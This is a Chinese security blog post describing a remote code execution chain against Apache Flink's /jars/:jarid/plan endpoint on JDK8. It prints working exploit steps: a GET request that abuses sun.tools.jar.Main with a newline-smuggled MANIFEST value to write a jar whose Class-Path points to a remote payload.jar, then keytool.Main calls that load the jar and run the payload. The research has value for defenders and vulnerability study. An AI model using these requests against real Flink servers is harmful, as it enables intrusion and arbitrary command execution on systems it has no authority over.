在HackerOne的一篇Flink报告中,展示了一种仅通过get请求就可以完成RCE的思路,其中涉及到的主角
com.sun.tools.script.shell.Main
存在于JDK9及以上版本,那么在JDK8及以下版本该怎么办呢?这便是本文的由来。
流程分析
在调用/jars/:jarid/plan 时它接收entry-class
(类的全限定类名) 和programArg
(main方法的参数),然后会调用到
org.apache.flink.client.program.PackagedProgram#loadMainClas
来加载传入的类
![](/2023/03/09/FlinkRCE-via-jar-plan-API-Endpoint-in-JDK8/assets/image-20230309143100-c383nxj.png)
其中加载类的ClassLoader是URLClassLoader的子类
![](/2023/03/09/FlinkRCE-via-jar-plan-API-Endpoint-in-JDK8/assets/image-20230309143634-hx00n87.png)
然后会调用org.apache.flink.client.program.PackagedProgram#callMainMethod
来反射调用main函数
![](/2023/03/09/FlinkRCE-via-jar-plan-API-Endpoint-in-JDK8/assets/image-20230309144454-t0wcwsq.png)
整体下来并没有看到什么其他的特性可用,需要老老实实的来寻找可用的main函数了。
可用类寻找
首先根据上面分析的要求编写查询语句,这里直接使用tabby,由于本来存在main函数的类就不多,索性就全部查出来挨个看一看吧
1 | match (m1:Method) where m1.NAME="main" and m1.IS_STATIC=true and m1.IS_PUBLIC=true |
![](/2023/03/09/FlinkRCE-via-jar-plan-API-Endpoint-in-JDK8/assets/image-20230309150714-daqqzjc.png)
一共142个,手动排除一下根本加载不了的(如jvm的核心类,类非public等等)就变得很少了,经过大致的筛选,我挑了这样几个类
1 | jdk.nashorn.tools.Shell |
jdk.nashorn.tools.Shell
这个类是一个命令行工具,它提供了一个交互式的 JavaScript shell,可以在命令行上运行 JavaScript 代码,不过遗憾的是,只能在交互状态下执行js,直接调用main只会返回一个交互shell,但是由于我们没有输入交互的地方,因此用不了
com.sun.org.apache.xerces.internal.impl.xpath.XPath
这个类是解析 XPath 表达式的,调试看了一下后发现既不能写文件也不能用xpath表达式执行代码,遂放弃
sun.security.tools.keytool.Main
这个类是JDK中用于创建、导出和导入证书用的,通过调试发现其可以通过URLClassLoader加载jar包
![](/2023/03/09/FlinkRCE-via-jar-plan-API-Endpoint-in-JDK8/assets/image-20230309155510-6gixqcr.png)
但由于url的协议写死成了file,因此只能加载本地的jar
![](/2023/03/09/FlinkRCE-via-jar-plan-API-Endpoint-in-JDK8/assets/image-20230309155415-603kkja.png)
使用如下demo即可加载本地jar
1 | sun.security.tools.keytool.Main.main(new String[]{"-LIST","-provider:","classname","-keystore","test","-providerpath","/tmp/xxx.jar"}); |
com.sun.org.apache.xalan.internal.xsltc.cmdline.Compile
这个类是用来将xslt编译成class的,网上也有文章针对xslt的问题进行了研究 JDK-Xalan的XSLT整数截断漏洞利用构造 主要研究了在JDK中将xslt转为class时通过整数截断漏洞生成恶意的class,作者在文中也说了在转换的时候没有类的实例化过程,因此执行不了代码
sun.tools.jar.Main
这个类用于创建、查看和提取JAR,光听描述就觉得很有看头,经过一番测试后会发现创建jar时首先要有对应的class文件在服务器上,并不能通过远程方式来获取class组成jar,在创建jar时要求很宽松,无论什么文件都可以压缩到jar中,同时还可以自定义MANIFEST.MF
文件的内容,但是由于我们控制不了class内容,看起来又无法利用了,这时我将目光转向了MANIFEST.MF
上
![](/2023/03/09/FlinkRCE-via-jar-plan-API-Endpoint-in-JDK8/assets/image-20230309172959-4c87jam.png)
根据描述,Class-Path 可以指定jar包的依赖关系,ClassLoader会根据该路径来搜索class,前文我们已经有了一个URLClassLoader,那么我们可不可以指定Class-Path路径为远程路径来加载类呢?经过测试确实是可以的,那么可以使用如下的示例来在服务器上创建一个jar
1 | sun.tools.jar.Main.main(new String[] { "cfe", "/tmp/hello.jar", "hello\nClass-Path: http://ip:port/payload.jar", "/tmp/" }); |
payload.jar内容如下
![](/2023/03/09/FlinkRCE-via-jar-plan-API-Endpoint-in-JDK8/assets/image-20230309174912-e0sp5bg.png)
利用过程总结
最后总结一下利用过程,美中不足的是需要flink有自动重启功能,因为在sun.tools.jar.Main
的main函数中存在着exit,写完jar后会直接退出进程;首先写入jar包
1 | http://127.0.0.1:8081/jars/952110e0-460f-4c77-9985-814e7bcc816b_jobjar-1.0-SNAPSHOT.jar/plan?entry-class=sun.tools.jar.Main&programArg=cfe,/tmp/hello.jar,hello%0aClass-Path%3A%20http%3A%2F%2F127.0.0.1%3A9999%2Fpayload.jar,/tmp/¶llelism=1 |
写入的jar包的MANIFEST.MF
文件内容如下
![](/2023/03/09/FlinkRCE-via-jar-plan-API-Endpoint-in-JDK8/assets/image-20230309201202-au0zuca.png)
然后使用sun.security.tools.keytool.Main
来加载这个jar,进而利用URLClassLoader加载远程的payload.jar ,执行命令
![](/2023/03/09/FlinkRCE-via-jar-plan-API-Endpoint-in-JDK8/assets/image-20230309202410-04h2x87.png)
后记
有趣的是,上文中的方法在去年的TCTF的一个选手的writeup中出现过,见 (My 0CTF/TCTF 2022 hessian-onlyjdk solution),不过当时的题目与flink并无任何关系,只是缺少可以执行命令的公有静态方法,其writeup中描述说sun.tools.jar.Main
借助CRLF injection写入了后面的CLASS-PATH,不过我个人觉得这是这个类的正常功能,本身就支持使用换行符写入属性。